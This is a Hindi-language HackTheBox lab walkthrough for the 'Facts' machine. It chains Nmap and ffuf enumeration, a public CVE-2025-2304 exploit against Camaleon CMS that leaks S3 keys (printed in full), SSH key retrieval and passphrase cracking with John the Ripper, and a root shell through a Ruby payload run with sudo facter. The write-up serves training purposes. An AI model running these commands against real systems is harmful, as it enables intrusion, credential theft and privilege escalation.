
HackTheBox — Facts (आसान/Linux) | CVE-2025-2304 + AWS S3 + SSH कुंजी + Facter विशेषाधिकार वृद्धि
Facts एक आसान Linux मशीन है जिसमें एक ज्ञात भेद्यता
(CVE-2025-2304) का शोषण करके Camaleon CMS से लोकल AWS S3 क्रेडेंशियल्स निकालने की आवश्यकता होती है।
आंतरिक S3 बकेट्स की एन्यूमरेशन से एक SSH प्राइवेट की मिलती है, जिसे प्रारंभिक एक्सेस पाने के लिए John the Ripper का उपयोग करके क्रैक करना होता है।
प्रिविलेज एस्केलेशन /usr/bin/facter पर sudo मिसकॉन्फ़िगरेशन का शोषण करके हासिल किया जाता है, जो रूट शेल पाने के लिए कस्टम Ruby कोड निष्पादित करने की अनुमति देता है।
अटैक चेन: Nmap → Camaleon CMS (CVE-2025-2304) → S3 बकेट एन्यूमरेशन → SSH की क्रैकिंग → sudo facter → Root
चलिए, टारगेट मशीन पर सक्रिय सेवाओं की पहचान करने के लिए Nmap स्कैन से शुरुआत करते हैं। Bash
nmap -sV -sC -oN nmap_facts 10.129.244.96
परिणाम:
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 9.9p1 Ubuntu 3ubuntu3.2 (Ubuntu Linux; protocol 2.0) 80/tcp open http nginx 1.26.3 (Ubuntu) |_http-title: facts |_http-server-header: nginx/1.26.3 (Ubuntu)

Nmap दो खुले पोर्ट दिखाता है: 22 (SSH) और 80 (HTTP)। वेब सर्वर Nginx पर आधारित है। साइट के साथ ठीक से इंटरैक्ट करने से पहले, हमें अपनी /etc/hosts फ़ाइल में facts.htb होस्ट जोड़ना चाहिए।
echo “10.129.244.96 facts.htb” | sudo tee -a /etc/hosts
पोर्ट 80 पर साइट विज़िट करने पर हमें एक मानक वेब पेज दिखाई देता है। छिपे हुए पाथ खोजने के लिए, हम डायरेक्टरी brute-force अटैक चलाते हैं (जैसे, ffuf या gobuster का उपयोग करके)।
ffuf -w /usr/share/wordlists/dirb/common.txt -u http://facts.htb/FUZZ
एन्यूमरेशन से एडमिन पैनल (/admin, /admin.php, आदि) से संबंधित कई दिलचस्प डायरेक्टरीज़ का पता चलता है, जो सभी 302 स्टेटस के साथ http://facts.htb/admin/login. पर रिडायरेक्ट करती हैं।

लॉगिन पेज पर जाकर और प्रमाणीकरण करने (या पैनल के फुटर को देखने) पर, हमें साइट के पीछे की तकनीक का पता चलता है: Camaleon CMS।
नीचे दाएं कोने में एक महत्वपूर्ण विवरण हमारा ध्यान खींचता है: CMS का वर्ज़न 2.9.0. है।

यह जानते हुए कि सर्वर Camaleon CMS 2.9.0 चला रहा है, एक त्वरित ऑनलाइन खोज हमें CVE-2025-2304 नामक एक गंभीर भेद्यता तक ले जाती है, जो एक प्रमाणित उपयोगकर्ता से एडमिनिस्ट्रेटर तक प्रिविलेज एस्केलेशन की अनुमति देती है।
हमें GitHub पर एक पब्लिक एक्सप्लॉइट मिलता है (Alien0ne द्वारा बनाया गया) और हम उसे अपनी अटैकर मशीन पर डाउनलोड करते हैं।

हम अपने पास मौजूद क्रेडेंशियल्स (जैसे, mattia:mattia) पास करके एक्सप्लॉइट चलाते हैं, ताकि खुद को एडमिन तक उन्नत कर सकें, संवेदनशील जानकारी निकाल सकें, और फिर कोई स्पष्ट निशान न छोड़ने के लिए मूल भूमिका में वापस आ सकें।
python3 exploit.py -u http://facts.htb -U mattia -P mattia --newpass mattia -e -r
एक्सप्लॉइट का आउटपुट एक खजाना है: यह लोकल AWS S3 क्रेडेंशियल्स और सर्वर द्वारा उपयोग किए जाने वाले आंतरिक एंडपॉइंट को निकालने में सफल रहता है।
S3 Access Key: AKIAA103ACAA5953D888
S3 Secret Key: ELsaDX4pIZYwPJf+dVdUuoHtkwGsRPvKIGCmDfiR
S3 Endpoint: http://localhost:54321 (जो हमारे लिए http://facts.htb:54321 बन जाता है)

इन कीज़ के साथ, हम मशीन द्वारा एक्सपोज़ की गई S3 सेवा से इंटरैक्ट करने के लिए अपने लोकल AWS CLI को कॉन्फ़िगर कर सकते हैं।
aws configure
# Enter the Access Key and Secret Key we just found
# Default region: us
# Default output format: json
अब हम कस्टम एंडपॉइंट URL पास करके उपलब्ध बकेट्स की सूची देख सकते हैं:
aws --endpoint-url http://facts.htb:54321 s3 ls
हमें दो बकेट मिलते हैं: internal और randomfacts। internal बकेट को रिकर्सिव रूप से एक्सप्लोर करने पर, हमें कीज़ युक्त एक .ssh फ़ोल्डर मिलता है!
aws --endpoint-url http://facts.htb:54321 s3 ls s3://internal/.ssh/ --recursive
चलिए id_ed25519 फ़ाइल (SSH प्राइवेट की) को अपनी मशीन पर डाउनलोड करते हैं।
हमारे पास प्राइवेट की है, लेकिन यह एक पासफ़्रेज़ से सुरक्षित है। इसे क्रैक करने के लिए, हम John the Ripper सुइट का उपयोग करेंगे। पहले, हम ssh2john का उपयोग करके की को ऐसे फ़ॉर्मेट में बदलेंगे जिसे John पढ़ सके:
ssh2john id_ed25519 > hash.txt
इसके बाद, हम डिक्शनरी अटैक चलाते हैं (कस्टम वर्डलिस्ट my_guess.txt या क्लासिक rockyou.txt का उपयोग करके):
john --wordlist=my_guess.txt hash.txt
पासवर्ड सफलतापूर्वक क्रैक हो गया: dragonballz। अब हमारे पास सर्वर तक पहुँचने के लिए आवश्यक सब कुछ है!

अब जब हमारे पास सब कुछ है, हम पहले मिले दूसरे खुले पोर्ट का लाभ उठा सकते हैं: SSH पोर्ट (22)।
ssh -i id_ed25519 [email protected]
हम पहले मिले पासवर्ड का उपयोग करेंगे: dragonballz। हम अंदर हैं!
अब हमें यह पता लगाना है कि root एक्सेस पाने के लिए हम किस पाथ का शोषण कर सकते हैं, इसलिए हम sudo -l का उपयोग करेंगे।
पाथ:
/usr/bin/facter
इस पाथ का शोषण करने के लिए, हम एक मिनी स्क्रिप्ट का उपयोग करेंगे:
echo 'Facter.add(:pwn) do
setcode do
exec (“/bin/bash -p”)
end
end' > /tmp/pwn.rb
और फिर हम इसे चलाएँगे:
sudo /usr/bin/facter --custom-dir=/tmp pwn

हम आधिकारिक तौर पर root हैं!!!
अब हमें बस हाथ में मौजूद दोनों फ्लैग खोजने हैं :)

NMAP — 2 पोर्ट खोजे गए (22, 80) ↓ वेब एन्यूमरेशन — एडमिन सेक्शन मिला ↓ Camaleon CMS -> CVE-2025-2304 ↓ एक्सप्लॉइट + AWS सेटिंग्स ↓ हैश के लिए John the ripper ↓ SSH लॉगिन ↓ Sudo -l ↓ स्क्रिप्ट + निष्पादन ↓ ROOT ✅